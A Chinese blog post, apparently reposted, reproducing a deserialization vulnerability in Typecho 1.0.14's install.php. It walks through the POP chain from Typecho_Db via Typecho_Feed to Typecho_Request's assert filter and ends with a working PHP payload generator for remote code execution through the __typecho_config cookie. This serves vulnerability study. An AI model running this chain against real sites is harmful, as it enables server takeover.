[漏洞复现]typecho_v1.0.14反序列化漏洞

环境

  • typecho_v1.0.14:链接:https://pan.baidu.com/s/1NAj25GoixIdnjrHCZC7iTg 提取码:3l16
  • phpstudy8.0
  • php5.2.17

环境配置

网站配置好后,直接访问。就是安装界面。

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

漏洞分析

推荐使用phpstorm,比较方便

打开install.php。发现有unserialize函数,发现参数是base64解码后的Typecho_Cookie::get('__typecho_config'),在phpstorm,点两次shift键可以在本项目中所有文件中搜索类名和文件名。我们搜索一下Typecho_Cookie这个类,点击就跳转那个文件
在这里插入图片描述
在这里插入图片描述
跳转到Cookie文件。搜索静态方法getcirl+f找就行了。分析一下就知道是将cookie中参数为$key的值返回。,此时参数__typecho_config,这样的话,这个参数的值是可控的,我们可以篡改这个值。

在这里插入图片描述
再回到install.php中。
既然__typecho_config我们可控,则$config可控。

存在反序列化操作,一般找一些可以被执行的魔术方法,一般是找__destruct,__wakeup,__toString等。

__destruct有两处。
在这里插入图片描述
__wakeup没有
在这里插入图片描述

我们先继续往下走,

我们看到 $db = new Typecho_Db($config['adapter'], $config['prefix']);,这里将我们可控的参数$config传给了Typecho_Db类。跟进一下Typecho_Db类的构造方法。

在这里插入图片描述
发现构造方法将$adapterName和字符串Typecho_Db_Adapter_连接起来了。如果$adapterName是一个类的话,则会调用这个类的__toString方法。(因为类被当做字符串使用)。既然这样的话,我们得找一下哪个类有__toString方法。

主要有三处, 第一出Config.php的__toString 函数中是一个序列化方法, 第二处Query.php文件是一个构造查询语句的过程, 第三处在Feed.php中构造Feed输出的内容, 仔细观察发现这三个魔术方法中都没有调用一些危险函数, 这个时候我们需要继续构造pop链,直到找到一些危险函数。
—摘自于:https://www.jianshu.com/p/48ed2a286054

在这里插入图片描述
在这里插入图片描述

在290行可以看到$item['author']->screenName。$item是可控的。因为最初有个反序列化函数。并且__typecho_config包含着各个对象的属性和值。这些对象的属性和值是我们可控的,即控制了$this->_items,也就控制了$item。

在这里插入图片描述
在这里插入图片描述

既然知道了$item可控,则$item[‘author’]可控。那如果我们给
$item[‘author’]赋值为一个没有screenName属性的对象会怎么样呢?没错。会自动调用__get方法。

那我们现在需要找一个既没有screenName属性也存在__get危险操作的类。

最后找到了Typecho_Request类。
在这里插入图片描述
在这里插入图片描述
下面调用了return $this->_applyFilter($value);,再次跟进_applyFilter函数

在这里插入图片描述

构造完payload会发现页面返回500响应,调试发现后面对反序列化后的内容进行处理时候抛出了一个异常。

在这里插入图片描述

栈追踪,发现到了一个异常处理函数。调用了ob_end_clean清空缓冲区。

在这里插入图片描述
但是比较好奇,为什么会跳到这里。

我自己分析了一下。
在install.php中,有一个程序初始化。
在这里插入图片描述
跟进这个类,找到了var\Typecho\Common.php,找到了init方法,在init方法最后有一句话set_exception_handler(array('Typecho_Common', 'exceptionHandle'));
这个函数设置用户自定义的异常处理函数。所以知道为什么到了exceptionHandle这里了吧。

在这里插入图片描述
在这里插入图片描述
init方法下面就是exceptionHandle方法

在这里插入图片描述

这里调用了ob_end_clean清空了缓冲区。并调用了error方法。

在这里插入图片描述
这个error方法打印出错误信息,并退出了程序。导致我构造的paload没有执行。
在这里插入图片描述

有两种方法解决这个问题

  1. 提前exit退出程序。只要我们的payload执行完,再执行exit。就不会执行到抛出异常的语句
  2. 提前将缓冲区内容打印到页面上

这里用第一种方法,第二种方法不会。

在第一种方法中也有两种方式,直接将exit写入payload。或者修改程序流程,使程序执行一个存在exit方法的函数。

payload

到了这里。我们回到最初的地方。
首先需要get传一个参数finish。值随便。因为<?php if (isset($_GET['finish'])) : ?>才能调用下面的unserialize
在这里插入图片描述

并且在install.php的63行判断了referer和host是否相同。

在这里插入图片描述
再加上payload

<?php

    class Typecho_Feed{
        private $_type;
        private $_items = array();

        public function __construct(){
            $this->_type = "RSS 2.0";
            $this->_items = array(
                array(
                    "title" => "test",
                    "link" => "test",
                    "data" => "20190430",
                    "author" => new Typecho_Request(),
                ),
            );
        }
    }

    class Typecho_Request{
        private $_params = array();
        private $_filter = array();

        public function __construct(){
            $this->_params = array(
                "screenName" => "eval('phpinfo();exit;')",
            );
            $this->_filter = array("assert");
        }
    }

    $a = new Typecho_Feed();

    $c = array(
        "adapter" => $a,
        "prefix" => "test",
    );

    echo base64_encode(serialize($c));
    //摘自https://www.cnblogs.com/litlife/p/10798061.html

我也不知道该怎么解释这个payload,哪里不懂的话可以加qq群:946220807或者在评论区留言。

在这里插入图片描述

如果文中有错误的地方请指出,谢谢

参考文章:
https://www.jianshu.com/p/48ed2a286054
https://www.cnblogs.com/litlife/p/10798061.html
https://paper.seebug.org/424/

发布了38 篇原创文章 · 获赞 8 · 访问量 2102

猜你喜欢

转载自blog.csdn.net/qq_41918771/article/details/103693350